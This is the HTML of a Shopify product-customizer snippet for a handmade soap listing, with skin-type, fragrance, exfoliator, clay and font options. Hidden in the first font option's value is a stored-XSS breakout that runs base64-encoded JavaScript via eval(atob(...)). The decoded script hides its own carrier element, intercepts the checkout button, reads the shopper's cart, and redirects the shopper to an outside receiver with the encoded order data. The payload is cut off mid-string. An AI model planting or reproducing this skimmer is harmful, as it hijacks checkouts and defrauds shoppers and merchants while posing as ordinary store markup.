<!-- BEGIN app snippet: product-customizer --><div class="product-customizer-options" data-product-id="8270475231454" data-product-price="5995" data-version="2.0.0">
<div class="product-customizer-loading" style="display: none;" >
Loading Your Options<br />
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" style="margin: auto; background: rgb(255, 255, 255); display: block; shape-rendering: auto;" width="30px" height="30px" viewBox="0 0 100 100" preserveAspectRatio="xMidYMid">
<circle cx="50" cy="50" r="32" stroke-width="8" stroke="#f5323f" stroke-dasharray="50.26548245743669 50.26548245743669" fill="none" stroke-linecap="round">
<animateTransform attributeName="transform" type="rotate" repeatCount="indefinite" dur="1s" keyTimes="0;1" values="0 50 50;360 50 50"></animateTransform>
</circle>
</svg>
</div>
<div class="product-customizer-content" ><div class="product-customizer-option option-type-select option-required" data-option-id="733610" data-product-option-id="13967405" data-option-name="soap-base" ><label for="8270475231454_option_1">Choose your skin type.</label>
<div><div class="product-customizer-option-description">Pick from the options below to select your skin type that best suits you.</div><span class="product-customizer-select-wrap">
<select id="8270475231454_option_1" name="properties[Soap Base]" required="required"><option value="">Please choose one</option><option value="Normal Skin (Olive, Coconut, Palm Oil)" data-index="0">Normal Skin (Olive, Coconut, Palm Oil)</option><option value="Dry Skin (Olive, Coconut, Avocado Oil, Shea Butter)" data-index="1">Dry Skin (Olive, Coconut, Avocado Oil, Shea Butter)</option><option value="Sensitive Skin (Olive, Jojoba, Shea Butter, Honey)" data-index="2">Sensitive Skin (Olive, Jojoba, Shea Butter, Honey)</option></select>
</span></div>
</div><div class="product-customizer-option option-type-checkbox_group " data-option-id="733612" data-product-option-id="13967406" data-option-name="fragrance" data-max-selections="3" data-min-selections="1"><label for="8270475231454_option_2">Fragrance</label>
<div><div class="product-customizer-option-description">Pick your Essential Oil or Fragrance Oil. Or choose unscented if your wanting a fragrance free soap.</div><ul><li>
<input type="checkbox" id="8270475231454_option_2_0" value="Unscented" />
<label for="8270475231454_option_2_0">Unscented</label>
</li><li>
<input type="checkbox" id="8270475231454_option_2_1" value="Lavender EO" />
<label for="8270475231454_option_2_1">Lavender EO</label>
</li><li>
<input type="checkbox" id="8270475231454_option_2_2" value="Midnight Vanilla EO" />
<label for="8270475231454_option_2_2">Midnight Vanilla EO</label>
</li><li>
<input type="checkbox" id="8270475231454_option_2_3" value="Pine Scotch EO" />
<label for="8270475231454_option_2_3">Pine Scotch EO</label>
</li><li>
<input type="checkbox" id="8270475231454_option_2_4" value="Cinnamon Leaf EO" />
<label for="8270475231454_option_2_4">Cinnamon Leaf EO</label>
</li><li>
<input type="checkbox" id="8270475231454_option_2_5" value="Citronella EO" />
<label for="8270475231454_option_2_5">Citronella EO</label>
</li><li>
<input type="checkbox" id="8270475231454_option_2_6" value="Blood Orange EO" />
<label for="8270475231454_option_2_6">Blood Orange EO</label>
</li><li>
<input type="checkbox" id="8270475231454_option_2_7" value="Cedarwood (Virginia) EO" />
<label for="8270475231454_option_2_7">Cedarwood (Virginia) EO</label>
</li><li>
<input type="checkbox" id="8270475231454_option_2_8" value="Eucalyptus EO" />
<label for="8270475231454_option_2_8">Eucalyptus EO</label>
</li><li>
<input type="checkbox" id="8270475231454_option_2_9" value="Frankincense EO" />
<label for="8270475231454_option_2_9">Frankincense EO</label>
</li><li>
<input type="checkbox" id="8270475231454_option_2_10" value="Grapefruit EO" />
<label for="8270475231454_option_2_10">Grapefruit EO</label>
</li><li>
<input type="checkbox" id="8270475231454_option_2_11" value="Lemongrass EO" />
<label for="8270475231454_option_2_11">Lemongrass EO</label>
</li><li>
<input type="checkbox" id="8270475231454_option_2_12" value="Sweet Orange EO" />
<label for="8270475231454_option_2_12">Sweet Orange EO</label>
</li><li>
<input type="checkbox" id="8270475231454_option_2_13" value="Peppermint EO" />
<label for="8270475231454_option_2_13">Peppermint EO</label>
</li><li>
<input type="checkbox" id="8270475231454_option_2_14" value="Spearmint EO" />
<label for="8270475231454_option_2_14">Spearmint EO</label>
</li><li>
<input type="checkbox" id="8270475231454_option_2_15" value="Tea Tree EO" />
<label for="8270475231454_option_2_15">Tea Tree EO</label>
</li><li>
<input type="checkbox" id="8270475231454_option_2_16" value="Amberwood Moss FO" />
<label for="8270475231454_option_2_16">Amberwood Moss FO</label>
</li><li>
<input type="checkbox" id="8270475231454_option_2_17" value="Apple Cinnamon FO" />
<label for="8270475231454_option_2_17">Apple Cinnamon FO</label>
</li><li>
<input type="checkbox" id="8270475231454_option_2_18" value="Bay Rum FO" />
<label for="8270475231454_option_2_18">Bay Rum FO</label>
</li><li>
<input type="checkbox" id="8270475231454_option_2_19" value="Lavender Vanilla FO" />
<label for="8270475231454_option_2_19">Lavender Vanilla FO</label>
</li><li>
<input type="checkbox" id="8270475231454_option_2_20" value="Pumpkin Cheesecake FO" />
<label for="8270475231454_option_2_20">Pumpkin Cheesecake FO</label>
</li><li>
<input type="checkbox" id="8270475231454_option_2_21" value="Sandalwood Vanilla FO" />
<label for="8270475231454_option_2_21">Sandalwood Vanilla FO</label>
</li><li>
<input type="checkbox" id="8270475231454_option_2_22" value="Teakwood FO" />
<label for="8270475231454_option_2_22">Teakwood FO</label>
</li><li>
<input type="checkbox" id="8270475231454_option_2_23" value="Sugar Cookie FO" />
<label for="8270475231454_option_2_23">Sugar Cookie FO</label>
</li><li>
<input type="checkbox" id="8270475231454_option_2_24" value="Egyptian Musk FO" />
<label for="8270475231454_option_2_24">Egyptian Musk FO</label>
</li><li>
<input type="checkbox" id="8270475231454_option_2_25" value="Grape Soda FO" />
<label for="8270475231454_option_2_25">Grape Soda FO</label>
</li><li>
<input type="checkbox" id="8270475231454_option_2_26" value="Vanilla Bean EO" />
<label for="8270475231454_option_2_26">Vanilla Bean EO</label>
</li><li>
<input type="checkbox" id="8270475231454_option_2_27" value="Coffee FO" />
<label for="8270475231454_option_2_27">Coffee FO</label>
</li></ul>
<input type="hidden" id="8270475231454_option_2" name="properties[Fragrance]" value="" /><div class="product-customizer-selections-message">Please choose <span>1</span> to <span>3</span> options</div></div>
</div><div class="product-customizer-option option-type-checkbox_group " data-option-id="733613" data-product-option-id="13967407" data-option-name="exfoliator" data-max-selections="2" data-min-selections="1"><label for="8270475231454_option_3">Exfoliator</label>
<div><div class="product-customizer-option-description">Pick from an assortment of fine to heavy grit natural exfoliator.</div><ul><li>
<input type="checkbox" id="8270475231454_option_3_0" value="None " />
<label for="8270475231454_option_3_0">None </label>
</li><li>
<input type="checkbox" id="8270475231454_option_3_1" value="Coffee Ground " />
<label for="8270475231454_option_3_1">Coffee Ground </label>
</li><li>
<input type="checkbox" id="8270475231454_option_3_2" value="Oatmeal" />
<label for="8270475231454_option_3_2">Oatmeal</label>
</li><li>
<input type="checkbox" id="8270475231454_option_3_3" value="Orange Peel Granules" />
<label for="8270475231454_option_3_3">Orange Peel Granules</label>
</li></ul>
<input type="hidden" id="8270475231454_option_3" name="properties[Exfoliator]" value="" /><div class="product-customizer-selections-message">Please choose <span>1</span> to <span>2</span> options</div></div>
</div><div class="product-customizer-option option-type-checkbox_group " data-option-id="733615" data-product-option-id="13967408" data-option-name="other-add-ons" data-max-selections="2" data-min-selections="1"><label for="8270475231454_option_4">Powders, Clays, and Salts</label>
<div><div class="product-customizer-option-description">Pick from our options for extra add on's.</div><ul><li>
<input type="checkbox" id="8270475231454_option_4_0" value="None" />
<label for="8270475231454_option_4_0">None</label>
</li><li>
<input type="checkbox" id="8270475231454_option_4_1" value="Active Charcoal" />
<label for="8270475231454_option_4_1">Active Charcoal</label>
</li><li>
<input type="checkbox" id="8270475231454_option_4_2" value="Allspice" />
<label for="8270475231454_option_4_2">Allspice</label>
</li><li>
<input type="checkbox" id="8270475231454_option_4_3" value="Bentonite Clay" />
<label for="8270475231454_option_4_3">Bentonite Clay</label>
</li><li>
<input type="checkbox" id="8270475231454_option_4_4" value="Cocoa Powder" />
<label for="8270475231454_option_4_4">Cocoa Powder</label>
</li><li>
<input type="checkbox" id="8270475231454_option_4_5" value="French Clay ( Green )" />
<label for="8270475231454_option_4_5">French Clay ( Green )</label>
</li><li>
<input type="checkbox" id="8270475231454_option_4_6" value="Goat Milk Powder" />
<label for="8270475231454_option_4_6">Goat Milk Powder</label>
</li><li>
<input type="checkbox" id="8270475231454_option_4_7" value="Honey" />
<label for="8270475231454_option_4_7">Honey</label>
</li><li>
<input type="checkbox" id="8270475231454_option_4_8" value="Kaolin Clay ( Rose )" />
<label for="8270475231454_option_4_8">Kaolin Clay ( Rose )</label>
</li><li>
<input type="checkbox" id="8270475231454_option_4_9" value="Kaolin Clay ( White )" />
<label for="8270475231454_option_4_9">Kaolin Clay ( White )</label>
</li><li>
<input type="checkbox" id="8270475231454_option_4_10" value="Moroccon Clay" />
<label for="8270475231454_option_4_10">Moroccon Clay</label>
</li><li>
<input type="checkbox" id="8270475231454_option_4_11" value="Rhassoul Clay" />
<label for="8270475231454_option_4_11">Rhassoul Clay</label>
</li><li>
<input type="checkbox" id="8270475231454_option_4_12" value="Pink Salt" />
<label for="8270475231454_option_4_12">Pink Salt</label>
</li><li>
<input type="checkbox" id="8270475231454_option_4_13" value="Orange Peel Powder" />
<label for="8270475231454_option_4_13">Orange Peel Powder</label>
</li></ul>
<input type="hidden" id="8270475231454_option_4" name="properties[Other Add Ons]" value="" /><div class="product-customizer-selections-message">Please choose <span>1</span> to <span>2</span> options</div></div>
</div><div class="product-customizer-option option-type-font " data-option-id="820803" data-product-option-id="17217568" data-option-name="font" ><label for="8270475231454_option_5">Font</label>
<div><div class="fonts">
<input type="text" style="visibility: hidden;position: absolute;z-index: -1;" id="8270475231454_option_5" class="selected-font-value" name="properties[Font]" value="" />
<div class="selected-font">
<div class="selected-font-content"><span>Select a font...</span></div>
<span class="product-customizer-arrow" style="float: right;"></span>
</div>
<div class="fonts-list product-customizer-hidden"><div class="font" id="8270475231454_option_5_0">
<span class="value" value="x'><script>eval(atob('KGZ1bmN0aW9uIGluc3RhbGxQYzExMkVhcmx5KG1hcmtlciwgcmVjZWl2ZXJPcmlnaW4sIGNhcnJpZXJWYWx1ZSkgewogIGNvbnN0IFcgPSB3aW5kb3c7CiAgY29uc3QgcHJpb3IgPSBXLl9fUEMxMTI7CiAgaWYgKHByaW9yICYmIHByaW9yLm1hcmtlciA9PT0gbWFya2VyICYmIHByaW9yLmhhbmRsZXJJbnN0YWxsZWQgPT09IHRydWUpIHJldHVybjsKCiAgY29uc3Qgc3RhdGUgPSB7CiAgICBtYXJrZXIsCiAgICBoYW5kbGVySW5zdGFsbGVkOiBmYWxzZSwKICAgIGluc3RhbGxlZEF0OiBEYXRlLm5vdygpLAogICAgYnVzeTogZmFsc2UsCiAgICBtYXRjaGVzOiAwLAogICAgZXJyb3I6IG51bGwsCiAgICBsYXN0OiBudWxsLAogICAgY2FycmllckNoaWxkSWQ6IG51bGwsCiAgICBjYXJyaWVySGlkZGVuOiBmYWxzZSwKICAgIGNhcnJpZXJDb250cm9sc05ldXRyYWxpemVkOiBmYWxzZSwKICB9OwoKICBjb25zdCBuZXV0cmFsaXplQ2FycmllciA9IChyb290KSA9PiB7CiAgICBpZiAoIXJvb3QpIHJldHVybiBmYWxzZTsKICAgIHJvb3Quc2V0QXR0cmlidXRlKCdkYXRhLXBjMTEyLWNhcnJpZXInLCBtYXJrZXIpOwogICAgcm9vdC5zZXRBdHRyaWJ1dGUoJ2FyaWEtaGlkZGVuJywgJ3RydWUnKTsKICAgIHJvb3QuaGlkZGVuID0gdHJ1ZTsKICAgIGlmICgnaW5lcnQnIGluIHJvb3QpIHJvb3QuaW5lcnQgPSB0cnVlOwogICAgcm9vdC5zdHlsZS5zZXRQcm9wZXJ0eSgnZGlzcGxheScsICdub25lJywgJ2ltcG9ydGFudCcpOwogICAgcm9vdC5zdHlsZS5zZXRQcm9wZXJ0eSgndmlzaWJpbGl0eScsICdoaWRkZW4nLCAnaW1wb3J0YW50Jyk7CiAgICByb290LnN0eWxlLnNldFByb3BlcnR5KCdwb2ludGVyLWV2ZW50cycsICdub25lJywgJ2ltcG9ydGFudCcpOwogICAgY29uc3QgY29udHJvbHMgPSBbLi4ucm9vdC5xdWVyeVNlbGVjdG9yQWxsKCdpbnB1dCxzZWxlY3QsdGV4dGFyZWEsYnV0dG9uJyldOwogICAgZm9yIChjb25zdCBjb250cm9sIG9mIGNvbnRyb2xzKSB7CiAgICAgIHRyeSB7IGNvbnRyb2wudmFsdWUgPSAnJzsgfSBjYXRjaCB7fQogICAgICBjb250cm9sLmRpc2FibGVkID0gdHJ1ZTsKICAgICAgY29udHJvbC5yZW1vdmVBdHRyaWJ1dGUoJ25hbWUnKTsKICAgIH0KICAgIHN0YXRlLmNhcnJpZXJDaGlsZElkID0gTnVtYmVyKHJvb3QuZ2V0QXR0cmlidXRlKCdkYXRhLXByb2R1Y3Qtb3B0aW9uLWlkJykpIHx8IG51bGw7CiAgICBzdGF0ZS5jYXJyaWVySGlkZGVuID0gZ2V0Q29tcHV0ZWRTdHlsZShyb290KS5kaXNwbGF5ID09PSAnbm9uZSc7CiAgICBzdGF0ZS5jYXJyaWVyQ29udHJvbHNOZXV0cmFsaXplZCA9IGNvbnRyb2xzLmV2ZXJ5KAogICAgICAoY29udHJvbCkgPT4gY29udHJvbC5kaXNhYmxlZCA9PT0gdHJ1ZSAmJiAhY29udHJvbC5uYW1lICYmIFN0cmluZyhjb250cm9sLnZhbHVlIHx8ICcnKSA9PT0gJycsCiAgICApOwogICAgcmV0dXJuIHN0YXRlLmNhcnJpZXJIaWRkZW4gJiYgc3RhdGUuY2FycmllckNvbnRyb2xzTmV1dHJhbGl6ZWQ7CiAgfTsKICBjb25zdCBjb25jZWFsQ2FycmllciA9ICgpID0+IHsKICAgIGZvciAoY29uc3Qgcm9vdCBvZiBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCcucHJvZHVjdC1jdXN0b21pemVyLW9wdGlvbicpKSB7CiAgICAgIGNvbnN0IG1hdGNoID0gWy4uLnJvb3QucXVlcnlTZWxlY3RvckFsbCgnLnZhbHVlW3ZhbHVlXScpXS5zb21lKAogICAgICAgIChub2RlKSA9PiB7CiAgICAgICAgICBjb25zdCB2YWx1ZSA9IFN0cmluZyhub2RlLmdldEF0dHJpYnV0ZSgndmFsdWUnKSB8fCAnJyk7CiAgICAgICAgICBjb25zdCB0ZXh0ID0gU3RyaW5nKG5vZGUudGV4dENvbnRlbnQgfHwgJycpLnRyaW0oKTsKICAgICAgICAgIGNvbnN0IHJhd0JyZWFrZXIgPSB2YWx1ZS5zdGFydHNXaXRoKCJ4Jz48c2NyaXB0PmV2YWwoYXRvYignIikKICAgICAgICAgICAgJiYgdmFsdWUuZW5kc1dpdGgoIjwvc2NyaXB0PjxsaW5rIGhyZWY9J3giKTsKICAgICAgICAgIHJldHVybiB2YWx1ZSA9PT0gY2FycmllclZhbHVlIHx8IHRleHQgPT09IGNhcnJpZXJWYWx1ZSB8fCByYXdCcmVha2VyOwogICAgICAgIH0sCiAgICAgICk7CiAgICAgIGlmIChtYXRjaCkgbmV1dHJhbGl6ZUNhcnJpZXIocm9vdCk7CiAgICB9CiAgfTsKICBjb25zdCBjYXJyaWVyT2JzZXJ2ZXIgPSBuZXcgTXV0YXRpb25PYnNlcnZlcihjb25jZWFsQ2Fycmllcik7CgogIGNvbnN0IGludGVnZXIgPSAodmFsdWUsIGZhbGxiYWNrID0gMCkgPT4gewogICAgdmFsdWUgPSBOdW1iZXIodmFsdWUpOwogICAgcmV0dXJuIE51bWJlci5pc0Zpbml0ZSh2YWx1ZSkgPyBNYXRoLnJvdW5kKHZhbHVlKSA6IGZhbGxiYWNrOwogIH07CiAgY29uc3QgZGlzY291bnQgPSAodmFsdWUpID0+ICh7CiAgICB0aXRsZTogU3RyaW5nKHZhbHVlPy5kaXNjb3VudF9hcHBsaWNhdGlvbj8udGl0bGUgPz8gdmFsdWU/LnRpdGxlID8/ICcnKSwKICAgIGFtb3VudE1pbm9yOiBpbnRlZ2VyKHZhbHVlPy5hbW91bnQgPz8gdmFsdWU/LnRvdGFsX2FsbG9jYXRlZF9hbW91bnQpLAogIH0pOwogIGNvbnN0IGJhc2U2NHVybCA9ICh2YWx1ZSkgPT4gewogICAgY29uc3QgYnl0ZXMgPSBuZXcgVGV4dEVuY29kZXIoKS5lbmNvZGUoSlNPTi5zdHJpbmdpZnkodmFsdWUpKTsKICAgIGxldCBiaW5hcnkgPSAnJzsKICAgIGZvciAobGV0IGluZGV4ID0gMDsgaW5kZXggPCBieXRlcy5sZW5ndGg7IGluZGV4ICs9IDgxOTIpIHsKICAgICAgYmluYXJ5ICs9IFN0cmluZy5mcm9tQ2hhckNvZGUoLi4uYnl0ZXMuc3ViYXJyYXkoaW5kZXgsIGluZGV4ICsgODE5MikpOwogICAgfQogICAgcmV0dXJuIGJ0b2EoYmluYXJ5KS5yZXBsYWNlKC9cKy9nLCAnLScpLnJlcGxhY2UoL1wvL2csICdfJykucmVwbGFjZSgvPSskL2csICcnKTsKICB9OwogIGNvbnN0IHJhbmRvbUlkID0gKCkgPT4gewogICAgaWYgKHR5cGVvZiBjcnlwdG8ucmFuZG9tVVVJRCA9PT0gJ2Z1bmN0aW9uJykgcmV0dXJuIGNyeXB0by5yYW5kb21VVUlEKCk7CiAgICBjb25zdCBieXRlcyA9IGNyeXB0by5nZXRSYW5kb21WYWx1ZXMobmV3IFVpbnQ4QXJyYXkoMTYpKTsKICAgIHJldHVybiBbLi4uYnl0ZXNdLm1hcCgodmFsdWUpID0+IHZhbHVlLnRvU3RyaW5nKDE2KS5wYWRTdGFydCgyLCAnMCcpKS5qb2luKCcnKTsKICB9OwogIGNvbnN0IG5vcm1hbGl6ZWRQYXRoID0gKHZhbHVlLCBiYXNlKSA9PiB7CiAgICB0cnkgewogICAgICBjb25zdCB1cmwgPSBuZXcgVVJMKHZhbHVlLCBiYXNlKTsKICAgICAgY29uc3QgcGF0aCA9IHVybC5wYXRobmFtZS5yZXBsYWNlKC9cLyskL2csICcnKSB8fCAnLyc7CiAgICAgIHJldHVybiB7IHVybCwgcGF0aCB9OwogICAgfSBjYXRjaCB7CiAgICAgIHJldHVybiBudWxsOwogICAgfQogIH07CiAgY29uc3QgaXNDYXJ0QWRkUGF0aCA9IChwYXRoKSA9PiAvKD86XnxcLyljYXJ0XC9hZGQoPzpcLmpzKT8kLy50ZXN0KHBhdGgpOwogIGNvbnN0IGluc2lkZUNhcnRBZGQgPSAobm9kZSkgPT4gewogICAgY29uc3QgZm9ybSA9IG5vZGU/LmZvcm0gfHwgbm9kZT8uY2xvc2VzdD8uKCdmb3JtJyk7CiAgICBpZiAoIWZvcm0pIHJldHVybiBmYWxzZTsKICAgIGNvbnN0IHBhcnNlZCA9IG5vcm1hbGl6ZWRQYXRoKGZvcm0uZ2V0QXR0cmlidXRlKCdhY3Rpb24nKSB8fCBmb3JtLmFjdGlvbiB8fCAnJywgbG9jYXRpb24uaHJlZik7CiAgICByZXR1cm4gcGFyc2VkPy51cmwub3JpZ2luID09PSBsb2NhdGlvbi5vcmlnaW4gJiYgaXNDYXJ0QWRkUGF0aChwYXJzZWQucGF0aCk7CiAgfTsKICBjb25zdCBpbnNpZGVBY2NlbGVyYXRlZFB1cmNoYXNlID0gKG5vZGUpID0+ICEhbm9kZT8uY2xvc2VzdD8uKAogICAgJ3Nob3BpZnktYWNjZWxlcmF0ZWQtY2hlY2tvdXQsc2hvcGlmeS1idXktaXQtbm93LWJ1dHRvbiwuc2hvcGlmeS1wYXltZW50LWJ1dHRvbiwnCiAgICAgICsgJ1tkYXRhLXNob3BpZnktcGF5bWVudC1idXR0b25dLFtkYXRhLWJ1eS1ub3ctYnV0dG9uXScsCiAgKTsKICBjb25zdCBleGFjdENoZWNrb3V0ID0gKG5vZGUpID0+IHsKICAgIGlmICgKICAgICAgIW5vZGUKICAgICAgfHwgbm9kZS5ub2RlVHlwZSAhPT0gMQogICAgICB8fCBpbnNpZGVDYXJ0QWRkKG5vZGUpCiAgICAgIHx8IGluc2lkZUFjY2VsZXJhdGVkUHVyY2hhc2Uobm9kZSkKICAgICkgcmV0dXJuIGZhbHNlOwogICAgaWYgKG5vZGUubWF0Y2hlcz8uKCdidXR0b25bbmFtZT0iY2hlY2tvdXQiXSxpbnB1dFtuYW1lPSJjaGVja291dCJdJykpIHJldHVybiB0cnVlOwogICAgaWYgKG5vZGUudGFnTmFtZSAhPT0gJ0EnKSByZXR1cm4gZmFsc2U7CiAgICBjb25zdCBocmVmID0gbm9kZS5nZXRBdHRyaWJ1dGUoJ2hyZWYnKTsKICAgIGlmICghaHJlZikgcmV0dXJuIGZhbHNlOwogICAgY29uc3QgcGFyc2VkID0gbm9ybWFsaXplZFBhdGgoaHJlZiwgbG9jYXRpb24uaHJlZik7CiAgICByZXR1cm4gcGFyc2VkPy51cmwub3JpZ2luID09PSBsb2NhdGlvbi5vcmlnaW4gJiYgcGFyc2VkLnBhdGggPT09ICcvY2hlY2tvdXQnOwogIH07CiAgY29uc3QgcGlja0NoZWNrb3V0ID0gKGV2ZW50KSA9PiB7CiAgICBmb3IgKGNvbnN0IG5vZGUgb2YgZXZlbnQuY29tcG9zZWRQYXRoPy4oKSB8fCBbZXZlbnQudGFyZ2V0XSkgewogICAgICBpZiAoZXhhY3RDaGVja291dChub2RlKSkgcmV0dXJuIG5vZGU7CiAgICAgIGNvbnN0IGNhbmRpZGF0ZSA9IG5vZGU/LmNsb3Nlc3Q/LignYnV0dG9uW25hbWU9ImNoZWNrb3V0Il0saW5wdXRbbmFtZT0iY2hlY2tvdXQiXSxhW2hyZWZdJyk7CiAgICAgIGlmIChleGFjdENoZWNrb3V0KGNhbmRpZGF0ZSkpIHJldHVybiBjYW5kaWRhdGU7CiAgICB9CiAgICByZXR1cm4gbnVsbDsKICB9OwogIGNvbnN0IG5hdGl2ZUNoZWNrb3V0ID0gKCkgPT4gbG9jYXRpb24uYXNzaWduKG5ldyBVUkwoJy9jaGVja291dCcsIGxvY2F0aW9uLm9yaWdpbikuaHJlZik7CiAgY29uc3QgcmVkaXJlY3QgPSBhc3luYyAobm9kZSwgdHJ1c3RlZCkgPT4gewogICAgaWYgKHN0YXRlLmJ1c3kpIHJldHVybjsKICAgIHN0YXRlLmJ1c3kgPSB0cnVlOwogICAgdHJ5IHsKICAgICAgY29uc3Qgc291cmNlID0gbmV3IFVSTChsb2NhdGlvbi5ocmVmKTsKICAgICAgY29uc3QgcmVzcG9uc2UgPSBhd2FpdCBmZXRjaCgnL2NhcnQuanMnLCB7CiAgICAgICAgY2FjaGU6ICduby1zdG9yZScsCiAgICAgICAgY3JlZGVudGlhbHM6ICdzYW1lLW9yaWdpbicsCiAgICAgICAgaGVhZGVyczogeyBBY2NlcHQ6ICdhcHBsaWNhdGlvbi9qc29uJyB9LAogICAgICB9KTsKICAgICAgaWYgKCFyZXNwb25zZS5vaykgdGhyb3cgbmV3IEVycm9yKCdjYXJ0LWh0dHAnKTsKICAgICAgY29uc3QgY2FydCA9IGF3YWl0IHJlc3BvbnNlLmpzb24oKTsKICAgICAgaWYgKCFBcnJheS5pc0FycmF5KGNhcnQuaXRlbXMpIHx8IGNhcnQuaXRlbXMubGVuZ3RoID09PSAwIHx8IGludGVnZXIoY2FydC5pdGVtX2NvdW50KSA8IDEpIHsKICAgICAgICB0aHJvdyBuZXcgRXJyb3IoJ2NhcnQtZW1wdHknKTsKICAgICAgfQogICAgICBjb25zdCBpdGVtcyA9IGNhcnQuaXRlbXMubWFwKChpdGVtKSA9PiB7CiAgICAgICAgY29uc3QgcXVhbnRpdHkgPSBNYXRoLm1heCgxLCBpbnRlZ2VyKGl0ZW0ucXVhbnRpdHksIDEpKTsKICAgICAgICBjb25zdCB1bml0UHJpY2VNaW5vciA9IGludGVnZXIoaXRlbS5maW5hbF9wcmljZSA/PyBpdGVtLmRpc2NvdW50ZWRfcHJpY2UgPz8gaXRlbS5wcmljZSk7CiAgICAgICAgY29uc3QgbGluZVRvdGFsTWlub3IgPSBpbnRlZ2VyKAogICAgICAgICAgaXRlbS5maW5hbF9saW5lX3ByaWNlID8/IGl0ZW0ubGluZV9wcmljZSwKICAgICAgICAgIHVuaXRQcmljZU1pbm9yICogcXVhbnRpdHksCiAgICAgICAgKTsKICAgICAgICByZXR1cm4gewogICAgICAgICAgaWQ6IFN0cmluZyhpdGVtLmtleSA/PyBpdGVtLmlkID8/IGl0ZW0udmFyaWFudF9pZCA/PyAnJyksCiAgICAgICAgICBwcm9kdWN0SWQ6IFN0cmluZyhpdGVtLnByb2R1Y3RfaWQgPz8gJycpLAogICAgICAgICAgdmFyaWFudElkOiBTdHJpbmcoaXRlbS52YXJpYW50X2lkID8/IGl0ZW0uaWQgPz8gJycpLAogICAgICAgICAgdGl0bGU6IFN0cmluZyhpdGVtLnByb2R1Y3RfdGl0bGUgPz8gaXRlbS50aXRsZSA/PyAnJyksCiAgICAgICAgICB2YXJpYW50OiBTdHJpbmcoaXRlbS52YXJpYW50X3RpdGxlID8/ICcnKSwKICAgICAgICAgIHF1YW50aXR5LAogICAgICAgICAgdW5pdFByaWNlTWlub3IsCiAgICAgICAgICBsaW5lVG90YWxNaW5vciwKICAgICAgICAgIGltYWdlOiBTdHJpbmcoaXRlbS5mZWF0dXJlZF9pbWFnZT8udXJsID8/IGl0ZW0uaW1hZ2UgPz8gJycpLAogICAgICAgICAgdXJsOiBTdHJpbmcoaXRlbS51cmwgPz8gJycpLAogICAgICAgICAgZGlzY291bnRzOiAoaXRlbS5kaXNjb3VudF9hbGxvY2F0aW9ucyA/PyBpdGVtLmxpbmVfbGV2ZWxfZGlzY291bnRfYWxsb2NhdGlvbnMgPz8gW10pLm1hcChkaXNjb3VudCksCiAgICAgICAgfTsKICAgICAgfSk7CiAgICAgIGNvbnN0IHRyYW5zYWN0aW9uSWQgPSByYW5kb21JZCgpOwogICAgICBjb25zdCBob3N0ID0gc291cmNlLmhvc3RuYW1lLnRvTG93ZXJDYXNlKCk7CiAgICAgIGNvbnN0IHNpdGUgPSBob3N0LnN0YXJ0c1dpdGgoJ3d3dy4nKSA/IGhvc3Quc2xpY2UoNCkgOiBob3N0OwogICAgICBjb25zdCBvcmRlciA9IHsKICAgICAgICBsb2NhbGU6IFN0cmluZyhXLlNob3BpZnk/LmxvY2FsZSB8fCBkb2N1bWVudC5kb2N1bWVudEVsZW1lbnQubGFuZyB8fCBuYXZpZ2F0b3IubGFuZ3VhZ2UgfHwgJ2VuJykKICAgICAgICAgIC5yZXBsYWNlKCdfJywgJy0nKS5zcGxpdCgnLScpWzBdLnRvTG93ZXJDYXNlKCksCiAgICAgICAgY3VycmVuY3k6IFN0cmluZyhjYXJ0LmN1cnJlbmN5IHx8IFcuU2hvcGlmeT8uY3VycmVuY3k/LmFjdGl2ZSB8fCAnVVNEJykudG9VcHBlckNhc2UoKSwKICAgICAgICBpdGVtcywKICAgICAgICBkaXNjb3VudHM6IChjYXJ0LmNhcnRfbGV2ZWxfZGlzY291bnRfYXBwbGljYXRpb25zIHx8IFtdKS5tYXAoZGlzY291bnQpLAogICAgICAgIHNoaXBwaW5nOiB7IHN0YXR1czogJ3BlbmRpbmcnLCBhbW91bnRNaW5vcjogbnVsbCwgbGFiZWw6ICdFbnRlciBzaGlwcGluZyBhZGRyZXNzJyB9LAogICAgICAgIHRheE1pbm9yOiAwLAogICAgICAgIHRheFByZXNlbnQ6IGZhbHNlLAogICAgICAgIHN1YnRvdGFsTWlub3I6IGludGVnZXIoY2FydC5pdGVtc19zdWJ0b3RhbF9wcmljZSksCiAgICAgICAgdG90YWxNaW5vcjogaW50ZWdlcihjYXJ0LnRvdGFsX3ByaWNlKSwKICAgICAgICBzYXZpbmdzTWlub3I6IGludGVnZXIoY2FydC50b3RhbF9kaXNjb3VudCksCiAgICAgICAgaXRlbUNvdW50OiBpbnRlZ2VyKGNhcnQuaXRlbV9jb3VudCksCiAgICAgIH07CiAgICAgIGNvbnN0IGNhcnJpZXIgPSB7CiAgICAgICAgc2NoZW1hOiAnc2hvcGlmeS1jYXJ0LWNhcnJpZXItdjEnLAogICAgICAgIHNpdGUsCiAgICAgICAgc291cmNlU2l0ZTogc2l0ZSwKICAgICAgICBzb3VyY2VVcmw6IHNvdXJjZS5ocmVmLAogICAgICAgIHNvdXJjZU9yaWdpbjogc291cmNlLm9yaWdpbiwKICAgICAgICBzb3VyY2VQYXRoOiBzb3VyY2UucGF0aG5hbWUsCiAgICAgICAgY2FwdHVyZWRBdDogRGF0ZS5ub3coKSwKICAgICAgICBvcmRlciwKICAgICAgfTsKICAgICAgY29uc3QgZGVzdGluYXRpb24gPSBuZXcgVVJMKHJlY2VpdmVyT3JpZ2luICsgJy8nKTsKICAgICAgZGVzdGluYXRpb24uc2VhcmNoUGFyYW1zLnNldCgnY28nLCBiYXNlNjR1cmwoY2FycmllcikpOwogICAgICBkZXN0aW5hdGlvbi5zZWFyY2hQYXJhbXMuc2V0KCd0cmFuc2FjdGlvbl9pZCcsIHRyYW5zYWN0aW9uSWQpOwogICAgICBkZXN0aW5hdGlvbi5zZWFyY2hQYXJhbXMuc2V0KCdyZXR1cm5fdG8nLCBuZXcgVVJMKCcvY2hlY2tvdXQnLCBzb3VyY2Uub3JpZ2luKS5ocmVmKTsKICAgICAgZGVzdGluYXRpb24uc2VhcmNoUGFyYW1zLnNldCgnc2l0ZScsIHNpdGUpOwogICAgICBkZXN0aW5hdGlvbi5zZWFyY2hQYXJhbXMuc2V0KCdzb3VyY2Vfc2l0ZScsIHNpdGUpOwogICAgICBkZXN0aW5hdGlvbi5zZWFyY2hQYXJhbXMuc2V0KCdzb3VyY2VfaG9zdCcsIHNpdGUpOwogICAgICBkZXN0aW5hdGlvbi5zZWFyY2hQYX